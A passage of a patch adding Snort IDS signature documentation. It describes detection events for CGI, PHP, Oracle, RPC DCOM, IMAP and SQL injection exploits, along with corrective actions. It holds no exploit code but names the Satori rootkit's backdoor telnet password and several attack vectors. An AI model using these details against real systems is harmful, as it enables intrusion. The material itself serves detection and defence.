+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1876.txt
+++ snort-2.8.5.2/doc/signatures/1876.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1876
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2472.txt
+++ snort-2.8.5.2/doc/signatures/2472.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2472
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-7.txt
+++ snort-2.8.5.2/doc/signatures/119-7.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+119-7
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+This event is generated when the pre-processor http_inspect detects
+Unicode encoded web requests. This may be an indicator of an obfuscated
+attack against a server as well as an attempt to evade an IDS.
+
+The Unicode map for the target servers can be generated for specific
+servers. Refer to the documentation for http_inspect for instructions.
+
+--
+Affected Systems:
+	Microsoft IIS web servers.
+
+--
+Attack Scenarios: 
+The attacker merely needs to encode a request using Unicode characters.
+
+--
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2740.txt
+++ snort-2.8.5.2/doc/signatures/2740.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2740
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_raw
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/216.txt
+++ snort-2.8.5.2/doc/signatures/216.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+216
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "satori". This is a known password for 
+the Satori Linux rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats
+http://www.whitehats.com/info/IDS516
+
+--
--- snort-2.8.5.2.orig/doc/signatures/566.txt
+++ snort-2.8.5.2/doc/signatures/566.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+566
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Symantec PC Anywhere Home Page
+http://www.symantec.com/pcanywhere/Consumer/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3310.txt
+++ snort-2.8.5.2/doc/signatures/3310.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3310
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2610.txt
+++ snort-2.8.5.2/doc/signatures/2610.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2610
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "cancel_statistics" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000690.txt
+++ snort-2.8.5.2/doc/signatures/100000690.txt
@@ -0,0 +1,79 @@
+
+
+Rule:
+
+--
+Sid:
+100000690
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "BXCP" application running on a webserver. Access to the 
+file "index.php" with SQL commands being passed may indicate that an 
+exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "index.php" script used by the "BXCP" application 
+running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running BXCP version 0.3.0.4 and prior.
+
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Currently, no patches or workarounds exist.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Jacob <chris.jacob@sourcefire.com>
+
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+http://www.bxcp.com
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000499.txt
+++ snort-2.8.5.2/doc/signatures/100000499.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000499
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PictureDis" application running on a webserver. 
+Access to the file "thumstbl.php" using a remote file being passed as the 
+"lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "lang" parameter in the "thumstbl.php" script used by 
+the "PictureDis" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PictureDis
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1118.txt
+++ snort-2.8.5.2/doc/signatures/1118.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1118
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1757.txt
+++ snort-2.8.5.2/doc/signatures/1757.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1757
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2746.txt
+++ snort-2.8.5.2/doc/signatures/2746.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2746
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure revoke_surrogate_repcat
+. This procedure is included in
+dbms_repcat_auth.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2695.txt
+++ snort-2.8.5.2/doc/signatures/2695.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2695
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure aq_table_defn_update
+. This procedure is included in
+sys.dbms_aq_import_internal.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1323.txt
+++ snort-2.8.5.2/doc/signatures/1323.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid: 1323
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format string vulnerability in the rwhois daemon from Network Solutions.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code.
+
+--
+Detailed Information:
+Certain versions of rwhoisd from Network Solutions contain a programming error that allows an attacker to execute arbitrary code. The error is present when used with the Start of Authority (soa) file directive.
+
+Referral Whois (rwhois) is a directory service used to provide information on hosts and networks connected to the internet.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0838
+
+Bugtraq:
+http://www.securityfocus.com/bid/3474
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2902.txt
+++ snort-2.8.5.2/doc/signatures/2902.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2902
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_snapshot_propagation
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/686.txt
+++ snort-2.8.5.2/doc/signatures/686.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3065.txt
+++ snort-2.8.5.2/doc/signatures/3065.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3065
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"append" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000107.txt
+++ snort-2.8.5.2/doc/signatures/100000107.txt
@@ -0,0 +1,90 @@
+Rule: 
+
+--
+Sid: 
+100000107
+
+-- 
+Summary: 
+This event is generated when an SQL injection attempt is made against the 
+Microsoft BizTalk Server DTA Interface.
+
+-- 
+
+Impact: 
+Attackers may retreive or modify sensitive in formation stored in the affected 
+database. Additionally, attackers may use the database's functionality to 
+execute arbitrary commands on the system with the priviliges of the user 
+running the script, typically Administrator.
+
+--
+Detailed Information:
+This rule looks specifically for attacks against the RawCustomSearchField.asp 
+module of the DTA Interface which contain the string "exec", which is required 
+to run commands on the host system. Thus, this rule does not detect generic SQL 
+injection attempts, only command execution attempts.
+
+--
+Affected Systems:
+Microsoft BizTalk Server 2000 Developer Edition SP2
+Microsoft BizTalk Server 2000 Developer Edition SP1a
+Microsoft BizTalk Server 2000 Developer Edition
+Microsoft BizTalk Server 2000 Enterprise Edition SP2
+Microsoft BizTalk Server 2000 Enterprise Edition SP1a
+Microsoft BizTalk Server 2000 Enterprise Edition
+Microsoft BizTalk Server 2000 Standard Edition SP2
+Microsoft BizTalk Server 2000 Standard Edition SP1a
+Microsoft BizTalk Server 2000 Standard Edition
+Microsoft BizTalk Server 2002 Developer Edition
+Microsoft BizTalk Server 2002 Enterprise Edition
+
+--
+
+Attack Scenarios: 
+A web browser or a script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as example attacks that can be used with a web browser are publicly 
+available.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Patches which correct this problem are available from Microsoft.com.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+Microsoft BizTalk Server 2000 Enterprise Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Developer Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+Microsoft BizTalk Server 2000 Standard Edition SP2: 
+http://microsoft.com/downloads/details.aspx?FamilyId=001E93E4-0E6E-4289-AEFE-916
+1D2E5AF97&displaylang=en
+
+Microsoft BizTalk Server 2002 Enterprise Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+Microsoft BizTalk Server 2002 Developer Edition: 
+http://microsoft.com/downloads/details.aspx?FamilyId=A05344FE-2622-4887-AA45-3DE
+7C4ED3C75&displaylang=en
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/1255.txt
+++ snort-2.8.5.2/doc/signatures/1255.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1255
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
